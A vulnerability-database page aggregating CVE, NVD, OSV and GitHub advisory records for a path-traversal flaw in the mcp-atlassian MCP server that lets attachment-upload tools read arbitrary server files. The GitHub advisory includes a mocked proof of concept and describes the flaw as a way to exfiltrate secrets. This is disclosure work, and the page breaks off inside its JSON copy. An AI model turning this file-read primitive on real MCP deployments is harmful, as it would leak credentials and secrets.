Vulnerability-Lookup

CVE-2026-77253 (GCVE-0-2026-77253)

Vulnerability from cvelistv5 – Published: 2026-09-22 18:10 – Updated: 2026-09-22 18:49

Title

MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files

Summary

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-22 18:49 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7616 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/sooperset/mcp-atlassian/securi…	x_refsource_CONFIRM
https://github.com/sooperset/mcp-atlassian/pull/1448	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/commit…	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
sooperset	mcp-atlassian	Affected: < 0.22.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-77253",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-22T18:49:32.148227Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-22T18:49:49.816Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-22T18:10:31.046Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
        }
      ],
      "source": {
        "advisory": "GHSA-vc25-24vv-fxxm",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-77253",
    "datePublished": "2026-09-22T18:10:31.046Z",
    "dateReserved": "2026-08-20T19:02:23.416Z",
    "dateUpdated": "2026-09-22T18:49:49.816Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-77253",
      "date": "2026-10-14",
      "epss": "0.00373",
      "percentile": "0.29583"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "mcp-atlassian",
                "vendor": "sooperset",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.22.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:mcp-atlassian:mcp_atlassian:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "5B21EB9C-719D-42B9-8F6D-BE4EDC5D39AD",
                    "versionEndExcluding": "0.22.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0."
          }
        ],
        "id": "CVE-2026-77253",
        "lastModified": "2026-09-28T13:23:46.773",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 4.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-77253",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-22T18:49:32.148227Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-22T19:16:49.540",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Issue Tracking",
              "Patch"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Release Notes"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-22"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-77253",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-22T18:49:32.148227Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-22T18:49:43.704Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "mcp-atlassian",
              "vendor": "sooperset",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.22.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-22T18:10:31.046Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
            },
            {
              "name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
            },
            {
              "name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
            },
            {
              "name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
            }
          ],
          "source": {
            "advisory": "GHSA-vc25-24vv-fxxm",
            "discovery": "UNKNOWN"
          },
          "title": "MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-77253",
        "datePublished": "2026-09-22T18:10:31.046Z",
        "dateReserved": "2026-08-20T19:02:23.416Z",
        "dateUpdated": "2026-09-22T18:49:49.816Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

BREW-MCP-ATLASSIAN-CVE-2… (CVE-2026-77253)

Vulnerability from osv_homebrew – Published: 2026-10-05 19:49 – Updated: 2026-10-05 19:49 – Source website

Summary

MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files

Details

Severity

7.1 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

References

URL

Type

	https://github.com/sooperset/mcp-atlassian/releas…	WEB
	https://github.com/CVEProject/cvelistV5/tree/main…	ADVISORY
	https://github.com/sooperset/mcp-atlassian/securi…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-77253	ADVISORY
	https://github.com/sooperset/mcp-atlassian/commit…	FIX
	https://github.com/sooperset/mcp-atlassian/pull/1448	FIX

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "0.22.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "mcp-atlassian",
        "purl": "pkg:brew/mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.11.9"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/sooperset/mcp-atlassian",
        "name": "https://github.com/sooperset/mcp-atlassian",
        "strategy": "git",
        "subject_version": "0.23.1"
      },
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mcp-atlassian@0.23.1",
        "name": "mcp-atlassian",
        "strategy": "registry",
        "subject_version": "0.23.1"
      }
    ]
  },
  "details": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.",
  "id": "BREW-mcp-atlassian-CVE-2026-77253",
  "modified": "2026-10-05T19:49:39Z",
  "published": "2026-10-05T19:49:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77253.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77253"
    },
    {
      "type": "FIX",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "type": "FIX",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files",
  "upstream": [
    "CVE-2026-77253",
    "GHSA-vc25-24vv-fxxm",
    "PYSEC-2026-4101"
  ]
}

FKIE_CVE-2026-77253

Vulnerability from fkie_nvd - Published: 2026-09-22 19:16 - Updated: 2026-09-28 13:23

Severity

7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460	Patch
security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/pull/1448	Issue Tracking, Patch
security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0	Release Notes
security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	mcp-atlassian	mcp_atlassian	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mcp-atlassian:mcp_atlassian:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "5B21EB9C-719D-42B9-8F6D-BE4EDC5D39AD",
              "versionEndExcluding": "0.22.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0."
    }
  ],
  "id": "CVE-2026-77253",
  "lastModified": "2026-09-28T13:23:46.773",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-77253",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-22T18:49:32.148227Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-22T19:16:49.540",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-vc25-24vv-fxxm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-VC25-24VV-FXXM

Vulnerability from github – Published: 2026-09-22 20:34 – Updated: 2026-09-22 20:34

Summary

MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files

Details

Summary

MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.

Details

The Confluence MCP upload tool accepts a file_path described as an absolute or relative server path in src/mcp_atlassian/servers/confluence.py:1290-1316 and forwards it directly to confluence_fetcher.upload_attachment() in src/mcp_atlassian/servers/confluence.py:1356-1363. The multi-upload variant accepts comma-separated local paths in src/mcp_atlassian/servers/confluence.py:1372-1449.

The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to validate_safe_path() or any allowed directory check for uploads in src/mcp_atlassian/confluence/attachments.py:61-79; the direct upload path opens the file with open(file_path, "rb") in src/mcp_atlassian/confluence/attachments.py:467-490.

The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in src/mcp_atlassian/jira/attachments.py:371-388. Jira issue update also accepts an attachments field as JSON or CSV local paths in src/mcp_atlassian/servers/jira.py:1609-1662, forwards it through update fields in src/mcp_atlassian/servers/jira.py:1668-1676, and IssuesMixin.update_issue() calls self.upload_attachments(issue_key, kwargs["attachments"]) in src/mcp_atlassian/jira/issues.py:1132-1137.

The tools are decorated with @check_write_access, so READ_ONLY_MODE=true blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.

PoC

The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.

uv run python - <<'PY'
import json, tempfile
from pathlib import Path
from types import SimpleNamespace
from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin
from mcp_atlassian.confluence.config import ConfluenceConfig
from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

class FakeResponse:
    def raise_for_status(self):
        pass
    def json(self):
        return {'results': [{'id': 'att-poc'}]}

class FakeConfluenceSession:
    def __init__(self):
        self.uploaded = None
    def put(self, url, headers=None, files=None, data=None):
        file_tuple = files['file']
        self.uploaded = {
            'url': url,
            'filename': file_tuple[0],
            'content': file_tuple[1].read().decode(),
        }
        file_tuple[1].close()
        return FakeResponse()

def confluence_probe(secret_path):
    fetcher = object.__new__(ConfluenceAttachmentsMixin)
    session = FakeConfluenceSession()
    fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token')
    fetcher.confluence = SimpleNamespace(_session=session)
    result = fetcher.upload_attachment('123456', str(secret_path))
    return {'result_success': result.get('success'), 'uploaded': session.uploaded}

class FakeJiraApi:
    def __init__(self):
        self.uploaded = None
    def add_attachment(self, issue_key, filename):
        self.uploaded = {
            'issue_key': issue_key,
            'filename': Path(filename).name,
            'content': Path(filename).read_text(),
        }
        return {'id': 'att-poc'}

def jira_probe(secret_path):
    fetcher = object.__new__(JiraAttachmentsMixin)
    fake = FakeJiraApi()
    fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token')
    fetcher.jira = fake
    result = fetcher.upload_attachment('SAFE-1', str(secret_path))
    return {'result_success': result.get('success'), 'uploaded': fake.uploaded}

with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp:
    secret_path = Path(tmp) / 'server-secret.txt'
    secret_path.write_text('SERVER_LOCAL_SECRET_MARKER')
    print(json.dumps({
        'confluence': confluence_probe(secret_path),
        'jira': jira_probe(secret_path),
    }, indent=2, sort_keys=True))
PY

Observed output from this environment:

{
  "confluence": {
    "result_success": true,
    "uploaded": {
      "content": "SERVER_LOCAL_SECRET_MARKER",
      "filename": "server-secret.txt",
      "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment"
    }
  },
  "jira": {
    "result_success": true,
    "uploaded": {
      "content": "SERVER_LOCAL_SECRET_MARKER",
      "filename": "server-secret.txt",
      "issue_key": "SAFE-1"
    }
  }
}

The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.

Impact

A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77253"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:34:50Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nMCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.\n\n### Details\n\nThe Confluence MCP upload tool accepts a `file_path` described as an absolute or relative server path in `src/mcp_atlassian/servers/confluence.py:1290-1316` and forwards it directly to `confluence_fetcher.upload_attachment()` in `src/mcp_atlassian/servers/confluence.py:1356-1363`. The multi-upload variant accepts comma-separated local paths in `src/mcp_atlassian/servers/confluence.py:1372-1449`.\n\nThe Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to `validate_safe_path()` or any allowed directory check for uploads in `src/mcp_atlassian/confluence/attachments.py:61-79`; the direct upload path opens the file with `open(file_path, \"rb\")` in `src/mcp_atlassian/confluence/attachments.py:467-490`.\n\nThe Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in `src/mcp_atlassian/jira/attachments.py:371-388`. Jira issue update also accepts an `attachments` field as JSON or CSV local paths in `src/mcp_atlassian/servers/jira.py:1609-1662`, forwards it through update fields in `src/mcp_atlassian/servers/jira.py:1668-1676`, and `IssuesMixin.update_issue()` calls `self.upload_attachments(issue_key, kwargs[\"attachments\"])` in `src/mcp_atlassian/jira/issues.py:1132-1137`.\n\nThe tools are decorated with `@check_write_access`, so `READ_ONLY_MODE=true` blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.\n\n### PoC\n\nThe following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.\n\n```bash\nuv run python - \u003c\u003c\u0027PY\u0027\nimport json, tempfile\nfrom pathlib import Path\nfrom types import SimpleNamespace\nfrom mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin\nfrom mcp_atlassian.confluence.config import ConfluenceConfig\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nclass FakeResponse:\n    def raise_for_status(self):\n        pass\n    def json(self):\n        return {\u0027results\u0027: [{\u0027id\u0027: \u0027att-poc\u0027}]}\n\nclass FakeConfluenceSession:\n    def __init__(self):\n        self.uploaded = None\n    def put(self, url, headers=None, files=None, data=None):\n        file_tuple = files[\u0027file\u0027]\n        self.uploaded = {\n            \u0027url\u0027: url,\n            \u0027filename\u0027: file_tuple[0],\n            \u0027content\u0027: file_tuple[1].read().decode(),\n        }\n        file_tuple[1].close()\n        return FakeResponse()\n\ndef confluence_probe(secret_path):\n    fetcher = 